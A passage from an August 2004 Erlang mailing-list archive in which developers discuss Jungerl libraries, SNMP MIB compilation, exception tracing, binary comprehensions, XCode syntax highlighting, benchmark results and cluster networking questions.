on to a solution. No firm plans to-date. > > - 'lines' (dynamic array of lines - works for other datatypes > as well.) > I know of one user: Joe. I'm not aware of any problems, and have > no plans to develop it further. > > - 'plain_fsm' (a 'behaviour' for writing upgradeable 'classic' FSMs) > Fairly recent invention. I have not thought of anything new to add > (except perhaps more documentation.) > > - 'proc_reg' (process registration facility, where any term > can be used) > Recent invention. Is anyone using it? Needs documentation. > > - 'rdbms' (relational database functionality on top of mnesia) > Not 100% standards-compliant on referential integrity. There are > some things that could be done to improve 'rdbms' - foldl & foldr > have been suggested; improved support for fragmented tables should > be added; ... I'd need to hear more from users. > > Regards, > Ulf W > From mbj@REDACTED Tue Aug 17 10:33:15 2004 From: mbj@REDACTED (Martin Bjorklund) Date: Tue, 17 Aug 2004 10:33:15 +0200 (CEST) Subject: poll: legacy contributions In-Reply-To: <0AE50E462665EB4898CACAC8DA169822435788@DAEMSG03.eur.ad.sag> References: <0AE50E462665EB4898CACAC8DA169822435788@DAEMSG03.eur.ad.sag> Message-ID: <20040817.103315.95894080.mbj@bluetail.com> wrote: > An example: Since quite a while I'm thinking about the possiblity to > write a firewall system in Erlang. Not that I could really do it, but > I'm thinking about it. And I searched the Web for code that one could > build upon. The topic came up on erlang-questions in 2001, and Luke > Gorrie provided a link to an Erlang "tunnel device" he once had written. > Well, that link is dead, and I dont know if I will ever find this tunnel > device anymore. It's in jungerl; updated and we still use it. /martin From bjorn@REDACTED Tue Aug 17 10:37:21 2004 From: bjorn@REDACTED (Bjorn Gustavsson) Date: 17 Aug 2004 10:37:21 +0200 Subject: erlang:hibernate/1 with funs? In-Reply-To: References: <20040813091514.74b70b8a.erlang@manderp.freeserve.co.uk> <20040813123518.07fcfef2.erlang@manderp.freeserve.co.uk> <20040816172104.2ffb1647.erlang@manderp.freeserve.co.uk> Message-ID: When I actually tested the workaround I suggested below, it seems that it doesn't work. (Or I have seriously messed up my test case.) /Bjorn Bjorn Gustavsson writes: > You call hibernate/3 like this to give it a fun: > > hibernate(erlang, apply, [F, []]). > > We'll probably add an hibernate/1 function in R10B implemented > like this in erlang.erl. > > The only disadvantage of using funs is if you do hot code replacement; > OTP has no built-in support for replacing code referenced by a fun. > > /Bjorn > > Peter-Henry Mander writes: > > > Hi gurus, > > > > After being informed of erlang:hibernate/3, I wonder if there's a > > erlang:hibernate/1, similar in style to erlang:spawn_link/1 which takes > > a fun argument? I prefer using funs which helps avoid exporting what I > > consider to be internal module functions when spawning. > > > > Is there a drawback writing code with spawn_link/1? > > > > Pete. > > > > -- > > "The Tao of Programming > > flows far away > > and returns > > on the wind of morning." > > > > -- > Bj?rn Gustavsson, Erlang/OTP, Ericsson AB > -- Bj?rn Gustavsson, Erlang/OTP, Ericsson AB From bengt.kleberg@REDACTED Tue Aug 17 12:02:16 2004 From: bengt.kleberg@REDACTED (Bengt Kleberg) Date: Tue, 17 Aug 2004 12:02:16 +0200 Subject: failure to compile mib example EX1-MIB.mib Message-ID: <4121D7A8.2020506@ericsson.com> greetings, this is a simple user error. i will try to find out what i am doing wrong, but perhaps somebody has made this mistake before and remembers it? i have taken the mib example EX1-MIB.mib from the Implementation Example in the SNMP User's Guide. i have shortened it so that it look like this: EX1-MIB DEFINITIONS ::= BEGIN IMPORTS RowStatus FROM STANDARD-MIB DisplayString FROM RFC1213-MIB OBJECT-TYPE FROM RFC-1212 ; example1 OBJECT IDENTIFIER ::= { experimental 7 } END i try to compile it and get the error: EX1-MIB.mib: 9: Error: OBJECT IDENTIFIER defined in terms of undefined parent object. Parent: 'experimental'.(Sub-indexes: [7].) compilation_failed erlc will not give me a version, but erl has the following to say: Erlang (THREADS,HIPE) (BEAM) emulator version 5.3.6.3 bengt From Thomas.Herchenroeder@REDACTED Tue Aug 17 12:05:47 2004 From: Thomas.Herchenroeder@REDACTED (Thomas.Herchenroeder@REDACTED) Date: Tue, 17 Aug 2004 12:05:47 +0200 Subject: tunnel device (was: RE: poll: legacy contributions) Message-ID: <0AE50E462665EB4898CACAC8DA169822435789@DAEMSG03.eur.ad.sag> > > build upon. The topic came up on erlang-questions in 2001, and Luke > > Gorrie provided a link to an Erlang "tunnel device" he once had written. > > Well, that link is dead, and I dont know if I will ever find this tunnel > > device anymore. > > It's in jungerl; updated and we still use it. Ha, great! Is it this 'tuntap' thing? Now I'm back to my original problem (no cvs client) :-( Can't you package a .tgz file once a week for easy download of Jungerl, for the cvs-wise impaired of us?! =Thomas From mbj@REDACTED Tue Aug 17 12:15:55 2004 From: mbj@REDACTED (Martin Bjorklund) Date: Tue, 17 Aug 2004 12:15:55 +0200 (CEST) Subject: failure to compile mib example EX1-MIB.mib In-Reply-To: <4121D7A8.2020506@ericsson.com> References: <4121D7A8.2020506@ericsson.com> Message-ID: <20040817.121555.38712877.mbj@bluetail.com> Bengt Kleberg wrote: > greetings, > > this is a simple user error. i will try to find out what i am doing > wrong, but perhaps somebody has made this mistake before and remembers it? > > i have taken the mib example EX1-MIB.mib from the Implementation Example > in the SNMP User's Guide. i have shortened it so that it look like this: > > EX1-MIB DEFINITIONS ::= BEGIN > > IMPORTS > RowStatus FROM STANDARD-MIB > DisplayString FROM RFC1213-MIB > OBJECT-TYPE FROM RFC-1212 > ; > > example1 OBJECT IDENTIFIER ::= { experimental 7 } > > END > > i try to compile it and get the error: > > EX1-MIB.mib: 9: Error: OBJECT IDENTIFIER defined in terms of undefined > parent object. Parent: 'experimental'.(Sub-indexes: [7].) This means that 'experimental' is undefined. You have to import it (you can look in the original EX1-MIB also): IMPORTS experimental FROM RFC1155-SMI /martin From luke@REDACTED Tue Aug 17 17:06:19 2004 From: luke@REDACTED (Luke Gorrie) Date: Tue, 17 Aug 2004 17:06:19 +0200 Subject: poll: legacy contributions In-Reply-To: <0AE50E462665EB4898CACAC8DA169822435788@DAEMSG03.eur.ad.sag> (Thomas Herchenroeder's message of "Tue, 17 Aug 2004 10:25:54 +0200") References: <0AE50E462665EB4898CACAC8DA169822435788@DAEMSG03.eur.ad.sag> Message-ID: writes: > An example: Since quite a while I'm thinking about the possiblity to > write a firewall system in Erlang. Not that I could really do it, but > I'm thinking about it. And I searched the Web for code that one could > build upon. The topic came up on erlang-questions in 2001, and Luke > Gorrie provided a link to an Erlang "tunnel device" he once had written. > Well, that link is dead, and I dont know if I will ever find this tunnel > device anymore. Maybe the author has lost interest in the code entirely. > But I _am_ interested, even years later. I know Martin's already pointed out the Jungerl, so just a few extra notes: My web stuff was just dead because of a recent server crash. Now I've moved it from www.bluetail.com to fresh.homeunix.net. (Anyone know an easy way to configure apache on www.bluetail.com to do a redirect?) You can now download a daily snapshot of the Jungerl contents at http://fresh.homeunix.net/~luke/misc/erlang/jungerl-snapshot.tar.gz (I'm surprised Sourceforge don't seem to have this builtin.) The 'psocket' program in Jungerl is similar to tuntap. It uses a PF_PACKET socket to read/write to existing network devices and it can be slightly easier to setup for some uses. It includes a small ethernet hub as an example program (hub.erl). Toodlepip, Luke From thomasl_erlang@REDACTED Tue Aug 17 17:17:48 2004 From: thomasl_erlang@REDACTED (Thomas Lindgren) Date: Tue, 17 Aug 2004 08:17:48 -0700 (PDT) Subject: Tip of the day In-Reply-To: Message-ID: <20040817151748.75000.qmail@web41904.mail.yahoo.com> --- Eric Newhuis wrote: > Any way to get module and line-number information > when there is a badmatch? > > Our unit tests would be happier and traced failures > could enable activation > of the appropriate source file. I use smart_exceptions from jungerl, e.g., % erlc +'{parse_transform, smart_exceptions}' foo.erl Note: I'm the author too, and am not aware of any other users :-) But they have worked well enough for me. This rewrites foo.erl to generate more informative exceptions, including a number of implicit ones (no matching clause, etc). They do not handle quite everything (undefined functions, and a couple of other cases). Also, you should run the transform only once per module during a compile, or you will currently get 'unsafe variable' errors. (This might be fixable if someone complains.) OK, now onto the wider issue of exceptions. The longer-term solution might be to move on towards "exception objects" that could contain more info than the current terms. Making them opaque objects is important, since one then avoids having fixed representations and/or fields. I believe I have thrown that idea onto the list previously, but some actual work is also needed, of course ... :-) Another idea would be to make exception generation configurable. For example, generating an exception could mean invoking a configured module first. The module would roughly look like: Mod:clause_fail(Mod, Func, Args, Line, ...?) -> Result Mod:exit(Mod, Line, Rsn, ...?) -> Result. and the VM supplies the necessary arguments for each type of exception. The call might exit with the Result, or perhaps try to handle the failure. (See also Common Lisp conditions for some inspiration.) error_handler looks a bit like this, but doesn't seem to do the right thing, as far as I could tell. smart_exceptions contains some support for this idea, though that's only for the brave; see smart_exc_rt.erl in smart_exceptions. Finally, it would also be useful if one could inspect the stack too at exceptions, in particular to see the source lines of the callers. Perhaps a generic "stack walker" BIF would be handy? Best, Thomas __________________________________ Do you Yahoo!? Yahoo! Mail - 50x more storage than other providers! http://promotions.yahoo.com/new_mail From thomasl_erlang@REDACTED Tue Aug 17 17:53:03 2004 From: thomasl_erlang@REDACTED (Thomas Lindgren) Date: Tue, 17 Aug 2004 08:53:03 -0700 (PDT) Subject: Binary comprehensions In-Reply-To: <411CD551.3040706@duomark.com> Message-ID: <20040817155303.27394.qmail@web41907.mail.yahoo.com> --- Jay Nelson wrote: > Thomas wrote: > > > For some special cases, a list comprehension > wrapped > > in binary_to_list/list_to_binary would suffice. > E.g., > > > > list_to_binary([ foo(X) || X <- > binary_to_list(Bin)]) > > Code-wise it reads ok, but if I am a middle-man > process > translating from one socket to another it introduces > a lot > of overhead. I would like to receive one binary, > transform > and send out the resulting binary in a single step. Yes. The trade-off is between speed and specificity. For example, one could restrict such hypothetical notation so that it is compilable into a C loop or less. The restrictions might then be severe, and perhaps not very intuitive. [Should we permit GC in the middle? If so, what about having uninitialized preallocated memory in the heap?] Or one could go in the other direction and be very permissive, though the gains vs using lists might then be small. (I read your requirements and suggestions, but haven't had time to digest them, so I can't be more specific.) One option could be to revisit the "research binary syntax", which included a lot more features than the binary syntax we have now. As I recall, the "research syntax" couldn't be compiled very effectively, because one could not always determine bit offsets at compile time. But it still did have a number of interesting ideas in it. (In particular, I think one could read and/or write a whole binary in a single expression, which is a property shared with the comprehension approach.) One might want other operations too. For example, a checksum is basically a foldl over the binary. And it might be useful to permit binaries that are not byte aligned (for compression algorithms, say). Finally, let me say I consider the concept of binary comprehensions as such to be worthwhile. One just has to overcome the devilish details. Best, Thomas __________________________________ Do you Yahoo!? Yahoo! Mail - 50x more storage than other providers! http://promotions.yahoo.com/new_mail From luke@REDACTED Tue Aug 17 19:28:05 2004 From: luke@REDACTED (Luke Gorrie) Date: Tue, 17 Aug 2004 19:28:05 +0200 Subject: Armstrong vs. Stroustrup In-Reply-To: <40A9383E.3040802@erlang-consulting.com> (Francesco Cesarini's message of "Mon, 17 May 2004 23:10:06 +0100") References: <37FB7AA6F5F9814FB634A7BF4C35A6F5402716@ESEALNT442.al.sw.ericsson.se> <40A9383E.3040802@erlang-consulting.com> Message-ID: Francesco Cesarini writes: > My NDA with Ericsson (un)fortunately does not allow me to go into the > details and contents of the movie.. I would however have to second > Mike.. For the sake of the reputation of Erlang (and its inventors), > and the samity of the rest of us, keep it in the safe and locked up > :-) Ooops, but look what's turned up on www.erlang.org/starting.html ... when did that happen? The file is big (200MB) so I setup a bittorrent mirror (if you haven't tried bittorrent then you should): http://fresh.homeunix.net/files/erlang/erlang_the_movie.mpg.torrent Brilliant movie :-) From vlad_dumitrescu@REDACTED Tue Aug 17 19:55:07 2004 From: vlad_dumitrescu@REDACTED (Vlad Dumitrescu) Date: Tue, 17 Aug 2004 19:55:07 +0200 Subject: Tip of the day References: <20040817151748.75000.qmail@web41904.mail.yahoo.com> Message-ID: From: "Thomas Lindgren" > Finally, it would also be useful if one could inspect > the stack too at exceptions, in particular to see the > source lines of the callers. Perhaps a generic "stack > walker" BIF would be handy? A question popped out when reading this: can the stack really be traversed when we are using tail-call optimization?Or more precisely, would it be menaingful to traverse it in the presence of tail-calls? regards, /Vlad From vances@REDACTED Wed Aug 18 08:09:28 2004 From: vances@REDACTED (Vance Shipley) Date: Wed, 18 Aug 2004 02:09:28 -0400 Subject: Erlang support in Apple's XCode IDE Message-ID: <20040818060928.GA89082@frogman.motivity.ca> I had another look at XCode today with a mind to seeing what it could offer in my Erlang centric work flow. After way too much time spent reverse engineering I came to the conclusion that it isn't much help now, but it could be ... I did however get basic syntax highlighting working and put Erlang templates in place for targets and files. I am giving up for now. If anyone else is working on this, or wants to, here is what I found: For user specific changes use a base path of: $(HOME)/Library/Application Support/Apple/Developer Tools/ For local system wide changes use a base path of: /Library/Application Support/Apple/Developer Tools/ The system resources are in: /System/Library/PrivateFrameworks/DevToolsCore.framework/Versions/A/Resources/ By copying things from the system files I came up with the following files to be added (relative to the base path). The Specifications directory probably doesn't exist yet so create it. Specifications/Erlang File Specification.pbfilespec: ( // Erlang Source File Specification { Identifier = sourcecode.erlang; BasedOn = sourcecode; Name = "Erlang source files"; Extensions = (erl); ComputerLanguage = erlang; AppliesToBuildRules = yes; } ) Specifications/Erlang Language Specification.pbfilespec: ( // Erlang Language Specification { Identifier = erlang; Name = "Erlang"; Description = "Erlang"; BasedOn = "pbx_root_language"; Extensions = ( erl ); ComputerLanguage = erlang; AppliesToBuildRules = yes; SupportsIndentation = YES; Indentation = { }; SyntaxColoring = { CaseSensitive = YES; UnicodeSymbols = YES; IndexedSymbols = NO; CommentsCanBeNested = YES; String = ( ( "\"", "\"" ) ); SingleLineComment = ( "%" ); DocComment = "%%"; DocCommentKeywords = ( "@author", "@clear", "@copyright", "@deprecated", "@doc", "@end", "@equiv", "@hidden", "@private", "@reference", "@see", "@since", "@spec", "@type", "@version" ); Keywords = ( "after", "begin", "case", "catch", "end", "fun", "if", "of", "receive", "throw", "when" ); PreprocessorKeywordStart = "-"; PreprocessorKeywords = ( "behaviour", "define", "else", "endif", "export", "ifdef", "ifndef", "import", "include", "module", "record" ); }; } ) Those two additions get XCode to recognize that these are source files and will get rudimentary support as such. An editor is slected and syntax highlighting is in effect. The definition above for the syntax higlighting was my first pass and is unquestionably incomplete/wrong. To include an Erlang category in the menu for creating files you add the directory: File Templates/Erlang In that directory you can create entries for different file types. Name the directories with a .pbfiletemplate suffix: File Templates/Erlang/Erlang File.pbfiletemplate/ File Templates/Erlang/Behaviour/application.pbfiletemplate/ File Templates/Erlang/Behaviour/supervisor.pbfiletemplate/ File Templates/Erlang/Behaviour/gen_server.pbfiletemplate/ File Templates/Erlang/Behaviour/gen_fsm.pbfiletemplate/ File Templates/Erlang/Behaviour/gen_event.pbfiletemplate/ ... In those directories you put your template .erl files. You should have a TemplateInfo.plist as well: File Templates/Erlang/Behaviour/gen_fsm.pbfiletemplate/fsm.erl File Templates/Erlang/Behaviour/gen_fsm.pbfiletemplate/TemplateInfo.plist TemplateInfo.plist: { MainTemplateFile = "fsm.erl"; Description = "An Erlang gen_fsm behaviour module source file."; } To include an Erlang category in the menu for creating targets add: Target Templates/Erlang/ Target Templates/Erlang/Beam.trgttmpl: { Class = Native; ProductType = "erlang.beam"; Description = "Target for building an Erlang beam file."; CustomBuildSettings = { INSTALL_PATH = "$(HOME)/ebin"; PRODUCT_NAME = "?PROJECTNAME?"; }; BuildPhases = ( { Class = Sources; } ); } I think we need these files as well: Specifications/Erlang Package Types Specification.pbpackspec Specifications/Erlang Product Types Specification.pbprodspec I gave up after quite some time trying to get the syntax right with these. It looks like with the right incantations in these files you could have a good deal of the supported features. For what it's worth I get an "Internal Error": File: /SourceCache/DevToolsBase/DevToolsBase-387/pbxcore/Target.subproj/PBXBuildSettingExpansion.m Line: 237 Function: PBXFindFirstMacroReferenceInRangeOfCFString Assertion failed: macroNameRange.length >= 1 -Vance Vance Shipley Motivity Telecom Inc. +1 519 240 3684 vances@REDACTED From bjorn@REDACTED Wed Aug 18 09:38:02 2004 From: bjorn@REDACTED (Bjorn Gustavsson) Date: 18 Aug 2004 09:38:02 +0200 Subject: Binary comprehensions In-Reply-To: <20040817155303.27394.qmail@web41907.mail.yahoo.com> References: <20040817155303.27394.qmail@web41907.mail.yahoo.com> Message-ID: I, too, find the concept of binary comprehensions interesting and worthwhile. However, we will probably not have time to even think about it for the R11 release. There will some minor performance improvements in the bit syntax in R10, and there might be more in R11 (as well as the addition of some minor features). Thomas Lindgren writes: > Yes. The trade-off is between speed and specificity. > For example, one could restrict such hypothetical > notation so that it is compilable into a C loop or > less. The restrictions might then be severe, and > perhaps not very intuitive. [Should we permit GC in > the middle? If so, what about having uninitialized > preallocated memory in the heap?] Or one could go in > the other direction and be very permissive, though the > gains vs using lists might then be small. Another way is to make the compiler smarter, so that it does more aggressive optimization whenever possible, and falls back to slower code when not possible. To some extent, we do that alreday in the current bit syntax implementation (especially in R10B). > One option could be to revisit the "research binary > syntax", which included a lot more features than the > binary syntax we have now. > We might add some more features from the "research syntax" to R11. /Bjorn -- Bj?rn Gustavsson, Erlang/OTP, Ericsson AB From Thomas.Herchenroeder@REDACTED Wed Aug 18 09:45:01 2004 From: Thomas.Herchenroeder@REDACTED (Thomas.Herchenroeder@REDACTED) Date: Wed, 18 Aug 2004 09:45:01 +0200 Subject: Hello (Erlang) World! Message-ID: <0AE50E462665EB4898CACAC8DA169822435790@DAEMSG03.eur.ad.sag> > I meant "upgrade" your Windows to a Unix variant (e.g. Linux). I know what you mean. And when it comes to servers, I'm a true Unix (and especially Linux) advocate. But you know, on my home notebook ... I dont do anything serious with it, just playing around. And I'm regularly amazed about the high-quality software other people are bringing to this, well, plattform. Speaking of Erlang ... > Oh it's in there and it works. It just isn't an "official" addition > as yet. I can only hope it will soon make it to "official". The responses on erlang-questions show some promise. Obviously some people were not aware of it. I'm allways sort of uneasy when I'm confronted with a language without decent support for structured modules/packages (One of the few criticisms I have with Prolog). Unfortunately, it's an after-thought for many language designers. Which is a shame, since I view it as essential for well-structured applications, larger scale projects (many developers) and - last but not least - a good public archive of modules for the language. Actually, I think a main factor for the broader success of a language is the extend to which it fosters a rich community of people contributing public modules... Make packages an issue for a "Tip of the day" posting (which I think is a very valuable thing, btw). =Thomas From bengt.kleberg@REDACTED Wed Aug 18 10:57:07 2004 From: bengt.kleberg@REDACTED (Bengt Kleberg) Date: Wed, 18 Aug 2004 10:57:07 +0200 Subject: The Great Computer Language Shootout Message-ID: <412319E3.6090905@ericsson.com> greetings, i have written replacements/updated the erlang programs that did not work in The Great Computer Language Shootout. as can be seen on the erlang page http://shootout.alioth.debian.org/lang/erlang all my entries (except one) are worse than the erlang average :-( however, it might be of interest for someone to start making things better now that everything works. bengt From bjorn@REDACTED Wed Aug 18 09:20:57 2004 From: bjorn@REDACTED (Bjorn Gustavsson) Date: 18 Aug 2004 09:20:57 +0200 Subject: Erlang support in Apple's XCode IDE In-Reply-To: <20040818060928.GA89082@frogman.motivity.ca> References: <20040818060928.GA89082@frogman.motivity.ca> Message-ID: Have you tried the new XCode 1.5 that was released recently? I have tried it myself, but if you are lucky some bugs might have been fixed. /Bjorn Vance Shipley writes: > I had another look at XCode today with a mind to seeing what it > could offer in my Erlang centric work flow. After way too much > time spent reverse engineering I came to the conclusion that it > isn't much help now, but it could be ... > > I did however get basic syntax highlighting working and put Erlang > templates in place for targets and files. I am giving up for now. > If anyone else is working on this, or wants to, here is what I found: > > For user specific changes use a base path of: > > $(HOME)/Library/Application Support/Apple/Developer Tools/ > > For local system wide changes use a base path of: > > /Library/Application Support/Apple/Developer Tools/ > > The system resources are in: > > /System/Library/PrivateFrameworks/DevToolsCore.framework/Versions/A/Resources/ > > By copying things from the system files I came up with the following > files to be added (relative to the base path). The Specifications > directory probably doesn't exist yet so create it. > > Specifications/Erlang File Specification.pbfilespec: > ( > // Erlang Source File Specification > { > Identifier = sourcecode.erlang; > BasedOn = sourcecode; > Name = "Erlang source files"; > Extensions = (erl); > ComputerLanguage = erlang; > AppliesToBuildRules = yes; > } > ) > > > Specifications/Erlang Language Specification.pbfilespec: > ( > // Erlang Language Specification > { > Identifier = erlang; > Name = "Erlang"; > Description = "Erlang"; > BasedOn = "pbx_root_language"; > Extensions = ( erl ); > ComputerLanguage = erlang; > AppliesToBuildRules = yes; > SupportsIndentation = YES; > Indentation = { > }; > SyntaxColoring = { > CaseSensitive = YES; > UnicodeSymbols = YES; > IndexedSymbols = NO; > CommentsCanBeNested = YES; > String = ( > ( "\"", "\"" ) > ); > SingleLineComment = ( "%" ); > DocComment = "%%"; > DocCommentKeywords = ( > "@author", > "@clear", > "@copyright", > "@deprecated", > "@doc", > "@end", > "@equiv", > "@hidden", > "@private", > "@reference", > "@see", > "@since", > "@spec", > "@type", > "@version" > ); > Keywords = ( > "after", > "begin", > "case", > "catch", > "end", > "fun", > "if", > "of", > "receive", > "throw", > "when" > ); > PreprocessorKeywordStart = "-"; > PreprocessorKeywords = ( > "behaviour", > "define", > "else", > "endif", > "export", > "ifdef", > "ifndef", > "import", > "include", > "module", > "record" > ); > }; > } > ) > > > Those two additions get XCode to recognize that these are source > files and will get rudimentary support as such. An editor is slected > and syntax highlighting is in effect. The definition above for the > syntax higlighting was my first pass and is unquestionably incomplete/wrong. > > To include an Erlang category in the menu for creating files you add the > directory: > > File Templates/Erlang > > In that directory you can create entries for different file types. > Name the directories with a .pbfiletemplate suffix: > > File Templates/Erlang/Erlang File.pbfiletemplate/ > File Templates/Erlang/Behaviour/application.pbfiletemplate/ > File Templates/Erlang/Behaviour/supervisor.pbfiletemplate/ > File Templates/Erlang/Behaviour/gen_server.pbfiletemplate/ > File Templates/Erlang/Behaviour/gen_fsm.pbfiletemplate/ > File Templates/Erlang/Behaviour/gen_event.pbfiletemplate/ > ... > > In those directories you put your template .erl files. You should > have a TemplateInfo.plist as well: > > File Templates/Erlang/Behaviour/gen_fsm.pbfiletemplate/fsm.erl > File Templates/Erlang/Behaviour/gen_fsm.pbfiletemplate/TemplateInfo.plist > > TemplateInfo.plist: > { > MainTemplateFile = "fsm.erl"; > Description = "An Erlang gen_fsm behaviour module source file."; > } > > > To include an Erlang category in the menu for creating targets add: > > Target Templates/Erlang/ > > Target Templates/Erlang/Beam.trgttmpl: > { > Class = Native; > ProductType = "erlang.beam"; > Description = "Target for building an Erlang beam file."; > CustomBuildSettings = { > INSTALL_PATH = "$(HOME)/ebin"; > PRODUCT_NAME = "?PROJECTNAME?"; > }; > BuildPhases = ( > { > Class = Sources; > } > ); > } > > > I think we need these files as well: > > Specifications/Erlang Package Types Specification.pbpackspec > Specifications/Erlang Product Types Specification.pbprodspec > > I gave up after quite some time trying to get the syntax right with > these. It looks like with the right incantations in these files you > could have a good deal of the supported features. > > For what it's worth I get an "Internal Error": > File: /SourceCache/DevToolsBase/DevToolsBase-387/pbxcore/Target.subproj/PBXBuildSettingExpansion.m > Line: 237 > Function: PBXFindFirstMacroReferenceInRangeOfCFString > > Assertion failed: macroNameRange.length >= 1 > > -Vance > > Vance Shipley > Motivity Telecom Inc. > +1 519 240 3684 > vances@REDACTED > -- Bj?rn Gustavsson, Erlang/OTP, Ericsson AB From thomasl_erlang@REDACTED Wed Aug 18 11:37:01 2004 From: thomasl_erlang@REDACTED (Thomas Lindgren) Date: Wed, 18 Aug 2004 02:37:01 -0700 (PDT) Subject: Tip of the day In-Reply-To: Message-ID: <20040818093701.65049.qmail@web41902.mail.yahoo.com> --- Vlad Dumitrescu wrote: > From: "Thomas Lindgren" > > > Finally, it would also be useful if one could > inspect > > the stack too at exceptions, in particular to see > the > > source lines of the callers. Perhaps a generic > "stack > > walker" BIF would be handy? > > A question popped out when reading this: can the > stack really be traversed > when we are using tail-call optimization?Or more > precisely, would it be > menaingful to traverse it in the presence of > tail-calls? Good question. The answers I have seen are basically the following: - ignore the problem, the result is still useful - have VM settings not to optimize tail calls, use them while debugging - "dynamic deoptimization" as done in SELF, basically, try to reconstruct the stack after the fact (good luck) "Ignoring the problem" is probably the easiest one to get going :-) Best, Thomas __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - Send 10MB messages! http://promotions.yahoo.com/new_mail From thomasl_erlang@REDACTED Wed Aug 18 12:15:41 2004 From: thomasl_erlang@REDACTED (Thomas Lindgren) Date: Wed, 18 Aug 2004 03:15:41 -0700 (PDT) Subject: The Great Computer Language Shootout In-Reply-To: <412319E3.6090905@ericsson.com> Message-ID: <20040818101541.47950.qmail@web41907.mail.yahoo.com> --- Bengt Kleberg wrote: > greetings, > > i have written replacements/updated the erlang > programs that did not > work in The Great Computer Language Shootout. as can > be seen on the > erlang page > http://shootout.alioth.debian.org/lang/erlang all my > entries > (except one) are worse than the erlang average :-( > > however, it might be of interest for someone to > start making things > better now that everything works. While the value of microbenchmarks can be questioned, and a lot of the examples probably are not Erlang's forte, I will fall for the temptation to make some remarks: - Erlang is often a factor 10-100 or worse(!) slower than the best. A partial explanation: the test harness starts a new VM for every benchmark. Still doesn't explain it all. (Since runtime varies a bit :-) - Ocaml, stalin and suchlike are often among the best. - For some reason, Hipe is sometimes slower than vanilla erlang. Due to loading native code at startup? One factor is the source code, as Bengt notes. It could perhaps be optimized further here and there. Still, some of it seems straightforward enough. Apart from that, on the cheerful side, it seems there are still lots of tricks that an Erlang compiler could use for speeding things up. At least on the micro benchmark side :-) Best, Thomas __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - 100MB free storage! http://promotions.yahoo.com/new_mail From Thomas.Herchenroeder@REDACTED Wed Aug 18 14:23:18 2004 From: Thomas.Herchenroeder@REDACTED (Thomas.Herchenroeder@REDACTED) Date: Wed, 18 Aug 2004 14:23:18 +0200 Subject: Jungerl archive (was: RE: poll: legacy contributions) Message-ID: <0AE50E462665EB4898CACAC8DA16982243579A@DAEMSG03.eur.ad.sag> > My web stuff was just dead because of a recent server crash. Now I've > moved it from www.bluetail.com to fresh.homeunix.net. (Anyone know an > easy way to configure apache on www.bluetail.com to do a redirect?) My apache days are awhile back, but I believe, the "Redirect" directive will do the job: Redirect permanent /^luke/ http://fresh.homeunix.net/~luke/ You could consider mod_rewrite, if you like more fancy stuff. Should be something like: <... some stuff ...> RewriteEngine On RewriteBase / RewriteRule ^/~luke/(.*)$ http://fresh.homeunix.net/~luke/$1 [R, L] > > You can now download a daily snapshot of the Jungerl contents at > http://fresh.homeunix.net/~luke/misc/erlang/jungerl-snapshot.tar.gz > (I'm surprised Sourceforge don't seem to have this builtin.) Great. (I believe you have to "release" something before Sourceforge offers it). > The 'psocket' program in Jungerl is similar to tuntap. It uses a > PF_PACKET socket to read/write to existing network devices and it can > be slightly easier to setup for some uses. It includes a small > ethernet hub as an example program (hub.erl). Ok, I will look at that too. =Thomas From richardc@REDACTED Wed Aug 18 13:18:24 2004 From: richardc@REDACTED (Richard Carlsson) Date: Wed, 18 Aug 2004 13:18:24 +0200 (MEST) Subject: Tip of the day In-Reply-To: <20040818093701.65049.qmail@web41902.mail.yahoo.com> References: <20040818093701.65049.qmail@web41902.mail.yahoo.com> Message-ID: On Wed, 18 Aug 2004, Thomas Lindgren wrote: > > A question popped out when reading this: can the > > stack really be traversed > > when we are using tail-call optimization?Or more > > precisely, would it be > > menaingful to traverse it in the presence of > > tail-calls? > [...] > "Ignoring the problem" is probably the easiest one to > get going :-) And if you look at the stack traces from exceptions in Erlang/OTP you will see that this is what happens today., i.e., tail calls are simply missing from the trace. (I'm not sure what the debugger does, though - it has its own interpreter and could in principle remember tail calls.) Also, the next-to-last function is usually missing from the stack trace, because it is not always stored on the stack, but kept in an emulator register when possible, and cannot be relied on to hold current information when an exception occurs (which usually happens inside a built-in function). /Richard Richard Carlsson (richardc@REDACTED) (This space intentionally left blank.) E-mail: Richard.Carlsson@REDACTED WWW: http://user.it.uu.se/~richardc/ "Having users is like optimization: the wise course is to delay it." -- Paul Graham From laurent.picouleau@REDACTED Wed Aug 18 15:14:25 2004 From: laurent.picouleau@REDACTED (Laurent Picouleau) Date: Wed, 18 Aug 2004 14:14:25 +0100 Subject: Does anyone have an archive of Spider Message-ID: <873AA6B8-F118-11D8-AA8F-000A95880924@t-mobile.co.uk> Hi, I'd like to get a copy of Spider but there's no URL given and I can't get it from Google neither. So If one of you as kept an archive of it, let me know. Thanks. -- Laurent Picouleau laurent.picouleau@REDACTED From Lennart.Ohman@REDACTED Wed Aug 18 15:39:16 2004 From: Lennart.Ohman@REDACTED (=?iso-8859-1?Q?Lennart_=D6hman?=) Date: Wed, 18 Aug 2004 15:39:16 +0200 Subject: Clusters replying from same IP address without a NAT? Message-ID: A slightly off the topic question... Anyone familiar with the possibility to have a second "hidden" IP address associated with a physical network interface in Solaris style UNICIES. Hidden in the sence that it does not answer ARP questions, in order to not confuse routers since I plan to have several such hidden interfaces on the same network with the same IP address. What is my problem? I want to build a cluster of CPUs running Erlang. Every CPU has at least one own physical network connection with a "world-wide" known IP address. One CPU is leader and receives UDP packets. Other computers in the world knows the IP address of the leader. The leader load balances by relaying incoming messages using distributed Erlang. The CPU "who" gets the "job" eventually replies to the original client. The reply must look like it came from the IP address of the leader. I can not hide the cluster behind a NAT since the individual CPUs must be accessible too, by their own IP addresses. /Lennart ------------------------------------------------------------- Lennart Ohman phone : +46-8-587 623 27 Sj?land & Thyselius Telecom AB cellular: +46-70-552 6735 Sehlstedtsgatan 6 fax : +46-8-667 8230 SE-115 28 STOCKHOLM, SWEDEN email : lennart.ohman@REDACTED -------------- next part -------------- An HTML attachment was scrubbed... URL: From mickael.remond@REDACTED Wed Aug 18 18:18:00 2004 From: mickael.remond@REDACTED (Mickael Remond) Date: Wed, 18 Aug 2004 18:18 +0200 Subject: Jungerl archive (was: RE: poll: legacy contributions) In-Reply-To: <0AE50E462665EB4898CACAC8DA16982243579A@DAEMSG03.eur.ad.sag> References: Message-ID: Message-ID: <1307-SnapperMsgFFCC63D8BD49320B@10.164.119.56> ..... Original Message ....... On Wed, 18 Aug 2004 14:23:18 +0200 wrote: >>http://fresh.homeunix.net/~luke/misc/erlang/jungerl-snapshot.tar.gz >> (I'm surprised Sourceforge don't seem 